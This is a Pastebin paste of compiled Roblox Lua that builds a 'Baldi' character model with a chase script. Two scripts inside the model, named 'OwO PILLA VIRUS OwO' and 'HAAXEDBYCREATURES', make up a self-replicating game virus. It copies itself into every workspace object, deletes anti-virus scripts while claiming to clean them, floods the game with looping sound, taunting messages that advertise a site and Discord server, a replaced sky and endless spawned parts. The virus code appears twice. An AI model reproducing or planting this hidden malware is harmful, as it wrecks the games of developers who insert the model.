sawgamer1

Untitled

Jun 26th, 2018
172
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 42.45 KB | None | 0 0
  1. --Created with PenguinAnonymous's compiler
  2. --PenguinAnonymous is not responsible for damages caused to your game
  3. --This plugin does not remove things
  4. --PenguinAnonymous cannot be held resonsible for manual deletion for the purpose of testing
  5. --Keep in mind, any items that cause errors in compilation will be skipped and documented within the last line of the disclaimer comments
  6. --Thank you for using my plugin and enjoy :)
  7. --It is free to use
  8. --If you use this plugin to create your own, please give me credit
  9. --Z_V edited my plugin to look like his own and published it without giving me credit, and that makes me very angry
  10. --Errors: Camera
  11. local runDummyScript = function(f,scri)
  12. local oldenv = getfenv(f)
  13. local newenv = setmetatable({}, {
  14. __index = function(_, k)
  15. if k:lower() == 'script' then
  16. return scri
  17. else
  18. return oldenv[k]
  19. end
  20. end
  21. })
  22. setfenv(f, newenv)
  23. ypcall(function() f() end)
  24. end
  25. cors = {}
  26. mas = Instance.new("Model",game:GetService("Lighting"))
  27. mas.Name = "CompiledModel"
  28. o1 = Instance.new("Model")
  29. o2 = Instance.new("Part")
  30. o3 = Instance.new("SpecialMesh")
  31. o4 = Instance.new("Part")
  32. o5 = Instance.new("Part")
  33. o6 = Instance.new("Part")
  34. o7 = Instance.new("Part")
  35. o8 = Instance.new("Part")
  36. o9 = Instance.new("Motor6D")
  37. o10 = Instance.new("Motor6D")
  38. o11 = Instance.new("Motor6D")
  39. o12 = Instance.new("Motor6D")
  40. o13 = Instance.new("Motor6D")
  41. o14 = Instance.new("Script")
  42. o15 = Instance.new("Script")
  43. o16 = Instance.new("Part")
  44. o17 = Instance.new("Motor6D")
  45. o18 = Instance.new("Script")
  46. o19 = Instance.new("Script")
  47. o20 = Instance.new("Script")
  48. o21 = Instance.new("Script")
  49. o22 = Instance.new("Part")
  50. o23 = Instance.new("Decal")
  51. o24 = Instance.new("Decal")
  52. o25 = Instance.new("Sound")
  53. o26 = Instance.new("Sound")
  54. o27 = Instance.new("Script")
  55. o28 = Instance.new("Script")
  56. o29 = Instance.new("Script")
  57. o30 = Instance.new("NumberValue")
  58. o31 = Instance.new("Script")
  59. o32 = Instance.new("ScreenGui")
  60. o33 = Instance.new("ImageLabel")
  61. o34 = Instance.new("ImageLabel")
  62. o35 = Instance.new("LocalScript")
  63. o36 = Instance.new("Sound")
  64. o37 = Instance.new("Frame")
  65. o38 = Instance.new("Frame")
  66. o39 = Instance.new("ImageLabel")
  67. o40 = Instance.new("LocalScript")
  68. o41 = Instance.new("Script")
  69. o42 = Instance.new("Script")
  70. o43 = Instance.new("Humanoid")
  71. o1.Name = ""
  72. o1.Parent = mas
  73. o2.Name = "Head"
  74. o2.Parent = o1
  75. o2.BrickColor = BrickColor.new("Pastel brown")
  76. o2.Transparency = 0.99000000953674
  77. o2.Position = Vector3.new(9.99055767, 4.50042105, 19.1191483)
  78. o2.Rotation = Vector3.new(57.6899986, 89.9399948, -57.6899986)
  79. o2.FormFactor = Enum.FormFactor.Symmetric
  80. o2.Size = Vector3.new(2, 1, 1)
  81. o2.CFrame = CFrame.new(9.99055767, 4.50042105, 19.1191483, 0.000534999941, 0.000845996023, 0.999999523, -9.00963765e-12, 0.999991417, -0.000846003008, -0.999999881, 4.52599608e-07, 0.000534999766)
  82. o2.BottomSurface = Enum.SurfaceType.Smooth
  83. o2.TopSurface = Enum.SurfaceType.Smooth
  84. o2.Color = Color3.new(1, 0.8, 0.6)
  85. o2.Position = Vector3.new(9.99055767, 4.50042105, 19.1191483)
  86. o3.Parent = o2
  87. o3.Scale = Vector3.new(1.25, 1.25, 1.25)
  88. o4.Name = "Right Arm"
  89. o4.Parent = o1
  90. o4.BrickColor = BrickColor.new("Pastel brown")
  91. o4.Transparency = 1
  92. o4.Position = Vector3.new(9.99009037, 3.00043392, 17.6191483)
  93. o4.Rotation = Vector3.new(57.6899986, 89.9399948, -57.6899986)
  94. o4.CanCollide = false
  95. o4.FormFactor = Enum.FormFactor.Symmetric
  96. o4.Size = Vector3.new(1, 2, 1)
  97. o4.CFrame = CFrame.new(9.99009037, 3.00043392, 17.6191483, 0.000534999941, 0.000845995906, 0.999999523, -9.00963765e-12, 0.999991298, -0.000846003008, -0.999999881, 4.52599551e-07, 0.000534999766)
  98. o4.BottomSurface = Enum.SurfaceType.Smooth
  99. o4.TopSurface = Enum.SurfaceType.Smooth
  100. o4.Color = Color3.new(1, 0.8, 0.6)
  101. o4.Position = Vector3.new(9.99009037, 3.00043392, 17.6191483)
  102. o5.Name = "Left Arm"
  103. o5.Parent = o1
  104. o5.BrickColor = BrickColor.new("Pastel brown")
  105. o5.Transparency = 1
  106. o5.Position = Vector3.new(9.98848629, 3.00043392, 20.6191483)
  107. o5.Rotation = Vector3.new(57.6899986, 89.9399948, -57.6899986)
  108. o5.CanCollide = false
  109. o5.FormFactor = Enum.FormFactor.Symmetric
  110. o5.Size = Vector3.new(1, 2, 1)
  111. o5.CFrame = CFrame.new(9.98848629, 3.00043392, 20.6191483, 0.000534999941, 0.000845995906, 0.999999523, -9.00963765e-12, 0.999991298, -0.000846003008, -0.999999881, 4.52599551e-07, 0.000534999766)
  112. o5.BottomSurface = Enum.SurfaceType.Smooth
  113. o5.TopSurface = Enum.SurfaceType.Smooth
  114. o5.Color = Color3.new(1, 0.8, 0.6)
  115. o5.Position = Vector3.new(9.98848629, 3.00043392, 20.6191483)
  116. o6.Name = "Right Leg"
  117. o6.Parent = o1
  118. o6.BrickColor = BrickColor.new("Pastel brown")
  119. o6.Transparency = 1
  120. o6.Position = Vector3.new(9.98786354, 1.00045121, 18.6191483)
  121. o6.Rotation = Vector3.new(57.6899986, 89.9399948, -57.6899986)
  122. o6.CanCollide = false
  123. o6.FormFactor = Enum.FormFactor.Symmetric
  124. o6.Size = Vector3.new(1, 2, 1)
  125. o6.CFrame = CFrame.new(9.98786354, 1.00045121, 18.6191483, 0.000534999941, 0.000845995906, 0.999999523, -9.00963765e-12, 0.999991298, -0.000846003008, -0.999999881, 4.52599551e-07, 0.000534999766)
  126. o6.BottomSurface = Enum.SurfaceType.Smooth
  127. o6.TopSurface = Enum.SurfaceType.Smooth
  128. o6.Color = Color3.new(1, 0.8, 0.6)
  129. o6.Position = Vector3.new(9.98786354, 1.00045121, 18.6191483)
  130. o7.Name = "Left Leg"
  131. o7.Parent = o1
  132. o7.BrickColor = BrickColor.new("Pastel brown")
  133. o7.Transparency = 1
  134. o7.Position = Vector3.new(9.98732853, 1.00045121, 19.6191483)
  135. o7.Rotation = Vector3.new(57.6899986, 89.9399948, -57.6899986)
  136. o7.CanCollide = false
  137. o7.FormFactor = Enum.FormFactor.Symmetric
  138. o7.Size = Vector3.new(1, 2, 1)
  139. o7.CFrame = CFrame.new(9.98732853, 1.00045121, 19.6191483, 0.000534999941, 0.000845995906, 0.999999523, -9.00963765e-12, 0.999991298, -0.000846003008, -0.999999881, 4.52599551e-07, 0.000534999766)
  140. o7.BottomSurface = Enum.SurfaceType.Smooth
  141. o7.TopSurface = Enum.SurfaceType.Smooth
  142. o7.Color = Color3.new(1, 0.8, 0.6)
  143. o7.Position = Vector3.new(9.98732853, 1.00045121, 19.6191483)
  144. o8.Name = "Torso"
  145. o8.Parent = o1
  146. o8.BrickColor = BrickColor.new("Pastel brown")
  147. o8.Transparency = 1
  148. o8.Position = Vector3.new(9.98928833, 3.00043392, 19.1191483)
  149. o8.Rotation = Vector3.new(57.6899986, 89.9399948, -57.6899986)
  150. o8.CanCollide = false
  151. o8.FormFactor = Enum.FormFactor.Symmetric
  152. o8.Size = Vector3.new(2, 2, 1)
  153. o8.CFrame = CFrame.new(9.98928833, 3.00043392, 19.1191483, 0.000534999941, 0.000845996023, 0.999999523, -9.00963765e-12, 0.999991417, -0.000846003008, -0.999999881, 4.52599608e-07, 0.000534999766)
  154. o8.BottomSurface = Enum.SurfaceType.Smooth
  155. o8.TopSurface = Enum.SurfaceType.Smooth
  156. o8.Color = Color3.new(1, 0.8, 0.6)
  157. o8.Position = Vector3.new(9.98928833, 3.00043392, 19.1191483)
  158. o9.Name = "Left Hip"
  159. o9.Parent = o8
  160. o9.C0 = CFrame.new(-1, -1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
  161. o9.C1 = CFrame.new(-0.5, 1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
  162. o9.Part0 = o8
  163. o9.Part1 = o7
  164. o9.MaxVelocity = 0.10000000149012
  165. o10.Name = "Right Hip"
  166. o10.Parent = o8
  167. o10.C0 = CFrame.new(1, -1, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08)
  168. o10.C1 = CFrame.new(0.5, 1, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
  169. o10.Part0 = o8
  170. o10.Part1 = o6
  171. o10.MaxVelocity = 0.10000000149012
  172. o11.Name = "Left Shoulder"
  173. o11.Parent = o8
  174. o11.C0 = CFrame.new(-1, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
  175. o11.C1 = CFrame.new(0.5, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
  176. o11.Part0 = o8
  177. o11.Part1 = o5
  178. o11.MaxVelocity = 0.10000000149012
  179. o12.Name = "Right Shoulder"
  180. o12.Parent = o8
  181. o12.C0 = CFrame.new(1, 0.5, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08)
  182. o12.C1 = CFrame.new(-0.5, 0.5, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
  183. o12.Part0 = o8
  184. o12.Part1 = o4
  185. o12.MaxVelocity = 0.10000000149012
  186. o13.Name = "Neck"
  187. o13.Parent = o8
  188. o13.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  189. o13.C1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  190. o13.Part0 = o8
  191. o13.Part1 = o2
  192. o13.MaxVelocity = 0.10000000149012
  193. o14.Name = "OwO PILLA VIRUS OwO"
  194. o14.Parent = o8
  195. table.insert(cors,coroutine.create(function()
  196. wait()
  197. runDummyScript(function()
  198. function spread() -- Made by Pilla, Aiko, Ham5ter and Commodore Jeep-Eep.
  199. -- Under the advice of C-Rex, Loverian, Gimmecat and girlysatan
  200. -- We will destroy your place!
  201. -- Come get us if you dare! We'll make a fool out of you!
  202. -- The Creatures Community
  203. local stuff = game.Workspace:GetChildren()
  204. for i = 1, #stuff do
  205. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("OwO PILLA VIRUS OwO") == nil) and (stuff[i].className ~= "Camera") then
  206. local clone = script:clone()
  207. clone.Parent = stuff[i]
  208. end
  209. end
  210. end
  211.  
  212. function onPlayerEntered(newPlayer)
  213. while true do
  214. if newPlayer.Character ~= nil then break end
  215. wait(1)
  216. end
  217. hehe = game.Workspace:FindFirstChild("HAAXEDBYCREATURES")
  218. if hehe == nil then
  219. local pwnedbythedragonness = script.HAAXEDBYCREATURES:clone()
  220. pwnedbythedragonness.Parent = game.Workspace
  221. pwnedbythedragonness.Disabled = false
  222. end
  223. end
  224. game.Players.PlayerAdded:connect(onPlayerEntered)
  225.  
  226. while true do
  227. wait(.1)
  228. spread()
  229. end
  230.  
  231. function GetAllItems(mdl)
  232. local objs = {}
  233. function Search(obj)
  234. if obj~=workspace then
  235. table.insert(objs,obj)
  236. end
  237. if #obj:GetChildren() > 0 then
  238. for i, v in ipairs(obj:GetChildren()) do
  239. Search(v)
  240. end
  241. end
  242. end
  243. Search(mdl)
  244. return objs
  245. end
  246.  
  247.  
  248.  
  249. for i, v in ipairs(GetAllItems(workspace)) do
  250. if v.className == "Script" then
  251. if v.Name == "Script" or v.Name == "Anti Infected" or v.Name == "Anti Virus" or v.Name == "lololyougothackedNOOB" then
  252. v.Parent = game.Lighting --Just in case it has a removal prevention.
  253. t = Instance.new("ObjectValue")
  254. t.Name = "IsAVirus"
  255. t.Parent = v
  256. end
  257. end
  258. end
  259.  
  260. for i, v in ipairs(game.Lighting:GetChildren()) do
  261. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  262. v:remove()
  263. end
  264. end
  265.  
  266.  
  267.  
  268. print("Virus debugged! All clean!")
  269. end,o14)
  270. end))
  271. o15.Name = "HAAXEDBYCREATURES"
  272. o15.Parent = o14
  273. o15.Disabled = true
  274. table.insert(cors,coroutine.create(function()
  275. wait()
  276. runDummyScript(function()
  277. print("YOUR GAME IS DOOMED")
  278. wait(5)
  279. creaturescavesdotcom = Instance.new("Sound")
  280. creaturescavesdotcom.Parent = game.Workspace
  281. creaturescavesdotcom.Looped = true
  282. creaturescavesdotcom.SoundId = "rbxassetid://148720118"
  283. creaturescavesdotcom.Volume = 1
  284. wait(8)
  285. creaturescavesdotcom:play()
  286. wait(10)
  287. discord=Instance.new("Hint")
  288. discord.Text = "Your place is doomed. Check us out at creaturescaves.com or our discord server: https://discord.gg/ATuwhea"
  289. discord.Parent = game.Workspace
  290. wait(5)
  291. discord=Instance.new("Message")
  292. discord.Text = "THE APOCALYPSE HAS BEGUN!!!"
  293. discord.Parent = game.Workspace
  294. wait(3)
  295. discord:remove()
  296. death=Instance.new("Sky")
  297. death.Parent = game.Lighting
  298. death.SkyboxBk = "http://www.roblox.com/asset/?id=149679669"
  299. death.SkyboxDn = "http://www.roblox.com/asset/?id=149681979"
  300. death.SkyboxFt = "http://www.roblox.com/asset/?id=149679690"
  301. death.SkyboxLf = "http://www.roblox.com/asset/?id=149679709"
  302. death.SkyboxRt = "http://www.roblox.com/asset/?id=149679722"
  303. death.SkyboxUp = "http://www.roblox.com/asset/?id=149680199"
  304. death.CelestialBodiesShown = false
  305. wait(1)
  306. --your place is now doomed, gg no re
  307.  
  308. while true do
  309. pilla=math.random(0,3)
  310. crex=math.random(3,100)
  311. aiko=math.random(-500, 500)
  312. jeepeep=math.random(100, 600)
  313. gimmecat=math.random(-500, 500)
  314. wait()
  315. doom=Instance.new("Part")
  316. doom.Shape = "Ball"
  317. doom.Size = Vector3.new(crex, crex, crex)
  318. doom.Position = Vector3.new(aiko, jeepeep, gimmecat)
  319. doom.Color = Color3.new(math.random(), math.random(), math.random())
  320. doom.Velocity=Vector3.new(pilla, pilla, pilla)
  321. doom.Parent = game.Workspace
  322. ham5ter=math.random(-200, -50)
  323. doom=Instance.new("Part")
  324. doom.Shape = "Ball"
  325. doom.Size = Vector3.new(crex, crex, crex)
  326. doom.Position = Vector3.new(aiko, ham5ter, gimmecat)
  327. doom.Color = Color3.new(math.random(), math.random(), math.random())
  328. doom.Velocity=Vector3.new(pilla, 800, pilla)
  329. doom.Parent = game.Workspace
  330. pilla=math.random(0,3)
  331. crex=math.random(3,100)
  332. aiko=math.random(-500, 500)
  333. jeepeep=math.random(100, 600)
  334. gimmecat=math.random(-500, 500)
  335. doom=Instance.new("Part")
  336. doom.Shape = "Ball"
  337. doom.Size = Vector3.new(crex, crex, crex)
  338. doom.Position = Vector3.new(aiko, jeepeep, gimmecat)
  339. doom.Color = Color3.new(math.random(), math.random(), math.random())
  340. doom.Velocity=Vector3.new(pilla, pilla, pilla)
  341. doom.Parent = game.Workspace
  342. pilla=math.random(0,3)
  343. crex=math.random(3,100)
  344. aiko=math.random(-500, 500)
  345. jeepeep=math.random(100, 600)
  346. gimmecat=math.random(-500, 500)
  347. doom=Instance.new("Part")
  348. doom.Shape = "Ball"
  349. doom.Size = Vector3.new(crex, crex, crex)
  350. doom.Position = Vector3.new(aiko, jeepeep, gimmecat)
  351. doom.Color = Color3.new(math.random(), math.random(), math.random())
  352. doom.Velocity=Vector3.new(pilla, pilla, pilla)
  353. doom.Parent = game.Workspace
  354. pilla=math.random(0,3)
  355. crex=math.random(3,100)
  356. aiko=math.random(-500, 500)
  357. jeepeep=math.random(100, 600)
  358. gimmecat=math.random(-500, 500)
  359. doom=Instance.new("Part")
  360. doom.Shape = "Ball"
  361. doom.Size = Vector3.new(crex, crex, crex)
  362. doom.Position = Vector3.new(aiko, jeepeep, gimmecat)
  363. doom.Color = Color3.new(math.random(), math.random(), math.random())
  364. doom.Velocity=Vector3.new(pilla, pilla, pilla)
  365. doom.Parent = game.Workspace
  366. end
  367. end,o15)
  368. end))
  369. o16.Name = "HumanoidRootPart"
  370. o16.Parent = o1
  371. o16.BrickColor = BrickColor.new("Bright blue")
  372. o16.Transparency = 1
  373. o16.Position = Vector3.new(9.98928833, 3.00043392, 19.1191483)
  374. o16.Rotation = Vector3.new(57.6899986, 89.9399948, -57.6899986)
  375. o16.FormFactor = Enum.FormFactor.Symmetric
  376. o16.Size = Vector3.new(2, 2, 1)
  377. o16.CFrame = CFrame.new(9.98928833, 3.00043392, 19.1191483, 0.000534999941, 0.000845996023, 0.999999523, -9.00963765e-12, 0.999991417, -0.000846003008, -0.999999881, 4.52599608e-07, 0.000534999766)
  378. o16.BottomSurface = Enum.SurfaceType.Smooth
  379. o16.TopSurface = Enum.SurfaceType.Smooth
  380. o16.Color = Color3.new(0.0509804, 0.411765, 0.67451)
  381. o16.Position = Vector3.new(9.98928833, 3.00043392, 19.1191483)
  382. o17.Name = "Root Hip"
  383. o17.Parent = o16
  384. o17.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  385. o17.C1 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  386. o17.Part0 = o16
  387. o17.Part1 = o8
  388. o17.MaxVelocity = 0.10000000149012
  389. o18.Name = "OwO PILLA VIRUS OwO"
  390. o18.Parent = o16
  391. table.insert(cors,coroutine.create(function()
  392. wait()
  393. runDummyScript(function()
  394. function spread() -- Made by Pilla, Aiko, Ham5ter and Commodore Jeep-Eep.
  395. -- Under the advice of C-Rex, Loverian, Gimmecat and girlysatan
  396. -- We will destroy your place!
  397. -- Come get us if you dare! We'll make a fool out of you!
  398. -- The Creatures Community
  399. local stuff = game.Workspace:GetChildren()
  400. for i = 1, #stuff do
  401. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("OwO PILLA VIRUS OwO") == nil) and (stuff[i].className ~= "Camera") then
  402. local clone = script:clone()
  403. clone.Parent = stuff[i]
  404. end
  405. end
  406. end
  407.  
  408. function onPlayerEntered(newPlayer)
  409. while true do
  410. if newPlayer.Character ~= nil then break end
  411. wait(1)
  412. end
  413. hehe = game.Workspace:FindFirstChild("HAAXEDBYCREATURES")
  414. if hehe == nil then
  415. local pwnedbythedragonness = script.HAAXEDBYCREATURES:clone()
  416. pwnedbythedragonness.Parent = game.Workspace
  417. pwnedbythedragonness.Disabled = false
  418. end
  419. end
  420. game.Players.PlayerAdded:connect(onPlayerEntered)
  421.  
  422. while true do
  423. wait(.1)
  424. spread()
  425. end
  426.  
  427. function GetAllItems(mdl)
  428. local objs = {}
  429. function Search(obj)
  430. if obj~=workspace then
  431. table.insert(objs,obj)
  432. end
  433. if #obj:GetChildren() > 0 then
  434. for i, v in ipairs(obj:GetChildren()) do
  435. Search(v)
  436. end
  437. end
  438. end
  439. Search(mdl)
  440. return objs
  441. end
  442.  
  443.  
  444.  
  445. for i, v in ipairs(GetAllItems(workspace)) do
  446. if v.className == "Script" then
  447. if v.Name == "Script" or v.Name == "Anti Infected" or v.Name == "Anti Virus" or v.Name == "lololyougothackedNOOB" then
  448. v.Parent = game.Lighting --Just in case it has a removal prevention.
  449. t = Instance.new("ObjectValue")
  450. t.Name = "IsAVirus"
  451. t.Parent = v
  452. end
  453. end
  454. end
  455.  
  456. for i, v in ipairs(game.Lighting:GetChildren()) do
  457. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  458. v:remove()
  459. end
  460. end
  461.  
  462.  
  463.  
  464. print("Virus debugged! All clean!")
  465. end,o18)
  466. end))
  467. o19.Name = "HAAXEDBYCREATURES"
  468. o19.Parent = o18
  469. o19.Disabled = true
  470. table.insert(cors,coroutine.create(function()
  471. wait()
  472. runDummyScript(function()
  473. print("YOUR GAME IS DOOMED")
  474. wait(5)
  475. creaturescavesdotcom = Instance.new("Sound")
  476. creaturescavesdotcom.Parent = game.Workspace
  477. creaturescavesdotcom.Looped = true
  478. creaturescavesdotcom.SoundId = "rbxassetid://148720118"
  479. creaturescavesdotcom.Volume = 1
  480. wait(8)
  481. creaturescavesdotcom:play()
  482. wait(10)
  483. discord=Instance.new("Hint")
  484. discord.Text = "Your place is doomed. Check us out at creaturescaves.com or our discord server: https://discord.gg/ATuwhea"
  485. discord.Parent = game.Workspace
  486. wait(5)
  487. discord=Instance.new("Message")
  488. discord.Text = "THE APOCALYPSE HAS BEGUN!!!"
  489. discord.Parent = game.Workspace
  490. wait(3)
  491. discord:remove()
  492. death=Instance.new("Sky")
  493. death.Parent = game.Lighting
  494. death.SkyboxBk = "http://www.roblox.com/asset/?id=149679669"
  495. death.SkyboxDn = "http://www.roblox.com/asset/?id=149681979"
  496. death.SkyboxFt = "http://www.roblox.com/asset/?id=149679690"
  497. death.SkyboxLf = "http://www.roblox.com/asset/?id=149679709"
  498. death.SkyboxRt = "http://www.roblox.com/asset/?id=149679722"
  499. death.SkyboxUp = "http://www.roblox.com/asset/?id=149680199"
  500. death.CelestialBodiesShown = false
  501. wait(1)
  502. --your place is now doomed, gg no re
  503.  
  504. while true do
  505. pilla=math.random(0,3)
  506. crex=math.random(3,100)
  507. aiko=math.random(-500, 500)
  508. jeepeep=math.random(100, 600)
  509. gimmecat=math.random(-500, 500)
  510. wait()
  511. doom=Instance.new("Part")
  512. doom.Shape = "Ball"
  513. doom.Size = Vector3.new(crex, crex, crex)
  514. doom.Position = Vector3.new(aiko, jeepeep, gimmecat)
  515. doom.Color = Color3.new(math.random(), math.random(), math.random())
  516. doom.Velocity=Vector3.new(pilla, pilla, pilla)
  517. doom.Parent = game.Workspace
  518. ham5ter=math.random(-200, -50)
  519. doom=Instance.new("Part")
  520. doom.Shape = "Ball"
  521. doom.Size = Vector3.new(crex, crex, crex)
  522. doom.Position = Vector3.new(aiko, ham5ter, gimmecat)
  523. doom.Color = Color3.new(math.random(), math.random(), math.random())
  524. doom.Velocity=Vector3.new(pilla, 800, pilla)
  525. doom.Parent = game.Workspace
  526. pilla=math.random(0,3)
  527. crex=math.random(3,100)
  528. aiko=math.random(-500, 500)
  529. jeepeep=math.random(100, 600)
  530. gimmecat=math.random(-500, 500)
  531. doom=Instance.new("Part")
  532. doom.Shape = "Ball"
  533. doom.Size = Vector3.new(crex, crex, crex)
  534. doom.Position = Vector3.new(aiko, jeepeep, gimmecat)
  535. doom.Color = Color3.new(math.random(), math.random(), math.random())
  536. doom.Velocity=Vector3.new(pilla, pilla, pilla)
  537. doom.Parent = game.Workspace
  538. pilla=math.random(0,3)
  539. crex=math.random(3,100)
  540. aiko=math.random(-500, 500)
  541. jeepeep=math.random(100, 600)
  542. gimmecat=math.random(-500, 500)
  543. doom=Instance.new("Part")
  544. doom.Shape = "Ball"
  545. doom.Size = Vector3.new(crex, crex, crex)
  546. doom.Position = Vector3.new(aiko, jeepeep, gimmecat)
  547. doom.Color = Color3.new(math.random(), math.random(), math.random())
  548. doom.Velocity=Vector3.new(pilla, pilla, pilla)
  549. doom.Parent = game.Workspace
  550. pilla=math.random(0,3)
  551. crex=math.random(3,100)
  552. aiko=math.random(-500, 500)
  553. jeepeep=math.random(100, 600)
  554. gimmecat=math.random(-500, 500)
  555. doom=Instance.new("Part")
  556. doom.Shape = "Ball"
  557. doom.Size = Vector3.new(crex, crex, crex)
  558. doom.Position = Vector3.new(aiko, jeepeep, gimmecat)
  559. doom.Color = Color3.new(math.random(), math.random(), math.random())
  560. doom.Velocity=Vector3.new(pilla, pilla, pilla)
  561. doom.Parent = game.Workspace
  562. end
  563. end,o19)
  564. end))
  565. o20.Name = "AI Chase"
  566. o20.Parent = o1
  567. table.insert(cors,coroutine.create(function()
  568. wait()
  569. runDummyScript(function()
  570. -- 22/5/2018: So turns out, Baldi without a humanoid body is too skinny to move --
  571. --DuruTeru
  572. --[[
  573.  
  574. ____________________________________________________________________________________________________________________
  575.  
  576. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  577. ____________________________________________________________________________________________________________________
  578. ___ ___
  579. ( ) ( ) .-.
  580. .--. .--. | |_ | |_ ( __) ___ .-. .--. .--.
  581. / _ \ / \ ( __) ( __) (''") ( ) \ / \ / _ \
  582. . .' `. ; | .-. ; | | | | | | | .-. . ; ,-. ' . .' `. ;
  583. | ' | | | | | | | | ___ | | ___ | | | | | | | | | | | ' | |
  584. _\_`.(___) | |/ | | |( ) | |( ) | | | | | | | | | | _\_`.(___)
  585. ( ). '. | ' _.' | | | | | | | | | | | | | | | | | | ( ). '.
  586. | | `\ | | .'.-. | ' | | | ' | | | | | | | | | ' | | | | `\ |
  587. ; '._,' ' ' `-' / ' `-' ; ' `-' ; | | | | | | ' `-' | ; '._,' '
  588. '.___.' `.__.' `.__. `.__. (___) (___)(___) `.__. | '.___.'
  589. ( `-' ;
  590. `.__.
  591. ____________________________________________________________________________________________________________________
  592.  
  593. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  594. ____________________________________________________________________________________________________________________
  595.  
  596. --]]
  597.  
  598.  
  599. local SearchDistance = 100000 -- How far a player can be before it detects you
  600.  
  601. local ZombieDamage = 0 -- How much damage the Zombie inficts towards the player
  602.  
  603. --[[
  604.  
  605. ____________________________________________________________________________________________________________________
  606.  
  607. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  608. ____________________________________________________________________________________________________________________
  609.  
  610. -- OPTIONAL --]]
  611.  
  612. local canWander = false
  613. local WanderX, WanderZ = 30, 30
  614. -- How many studs the zombie can wander on the x and z axis in studs
  615.  
  616. --]]
  617.  
  618.  
  619. function getHumanoid(model)
  620. for _, v in pairs(model:GetChildren()) do
  621. if v:IsA'Humanoid' then
  622. return v
  623. end
  624. end
  625. end
  626.  
  627.  
  628. local zombie = script.Parent
  629. local human = getHumanoid(zombie)
  630. local hroot = zombie.HumanoidRootPart
  631. local zspeed = hroot.Velocity.magnitude
  632.  
  633.  
  634. local pfs = game:GetService("PathfindingService")
  635.  
  636. function GetPlayerNames()
  637. local players = game:GetService('Players'):GetChildren()
  638. local name = nil
  639. for _, v in pairs(players) do
  640. if v:IsA'Player' then
  641. name = tostring(v.Name)
  642. end
  643. end
  644. return name
  645. end
  646.  
  647. spawn(function()
  648. while wait() do
  649. print("THIS BALDI MODEL WAS MADE BY CREATURESCAVES.COM")
  650. end
  651. end)
  652.  
  653. function GetPlayersBodyParts(t)
  654. local torso = t
  655. if torso then
  656. local figure = torso.Parent
  657. for _, v in pairs(figure:GetChildren()) do
  658. if v:IsA'Part' then
  659. return v.Name
  660. end
  661. end
  662. else
  663. return "HumanoidRootPart"
  664. end
  665. end
  666.  
  667. function GetTorso(part)
  668. local chars = game.Workspace:GetChildren()
  669. local torso = nil
  670. for _, v in pairs(chars) do
  671. if v:IsA'Model' and v ~= script.Parent and v.Name == GetPlayerNames() then
  672. local charRoot = v:FindFirstChild'HumanoidRootPart'
  673. if (charRoot.Position - part).magnitude < SearchDistance then
  674. torso = charRoot
  675. end
  676. end
  677. end
  678. return torso
  679. end
  680.  
  681. for _, zambieparts in pairs(zombie:GetChildren()) do
  682. if zambieparts:IsA'Part' then
  683. zambieparts.Touched:connect(function(p)
  684. if p.Parent.Name == GetPlayerNames() and p.Parent.Name ~= zombie.Name then -- damage
  685. local enemy = p.Parent
  686. local enemyhuman = getHumanoid(enemy)
  687. enemyhuman:TakeDamage(ZombieDamage)
  688. end
  689. end)
  690. end
  691. end
  692.  
  693. -- no touchy
  694. local path
  695. local waypoint
  696. local oldpoints
  697. local isWandering = 0
  698.  
  699. if canWander then
  700. spawn(function()
  701. while isWandering == 0 do
  702. isWandering = 1
  703. local desgx, desgz = hroot.Position.x + math.random(-WanderX, WanderX), hroot.Position.z + math.random(-WanderZ, WanderZ)
  704. human:MoveTo( Vector3.new(desgx, 0, desgz) )
  705. wait(math.random(4, 6))
  706. isWandering = 0
  707. end
  708. end)
  709. end
  710.  
  711. while wait() do
  712. local enemytorso = GetTorso(hroot.Position)
  713. if enemytorso ~= nil then -- if player detected
  714. isWandering = 1
  715. local function checkw(t)
  716. local ci = 3
  717. if ci > #t then
  718. ci = 3
  719. end
  720. if t[ci] == nil and ci < #t then
  721. repeat
  722. ci = ci + 1
  723. wait()
  724. until t[ci] ~= nil
  725. return Vector3.new(1, 0, 0) + t[ci]
  726. else
  727. ci = 3
  728. return t[ci]
  729. end
  730. end
  731.  
  732. path = pfs:FindPathAsync(hroot.Position, enemytorso.Position)
  733. waypoint = path:GetWaypoints()
  734. oldpoints = waypoint
  735. local connection;
  736.  
  737. local direct = Vector3.FromNormalId(Enum.NormalId.Front)
  738. local ncf = hroot.CFrame * CFrame.new(direct)
  739. direct = ncf.p.unit
  740. local rootr = Ray.new(hroot.Position, direct)
  741. local phit, ppos = game.Workspace:FindPartOnRay(rootr, hroot)
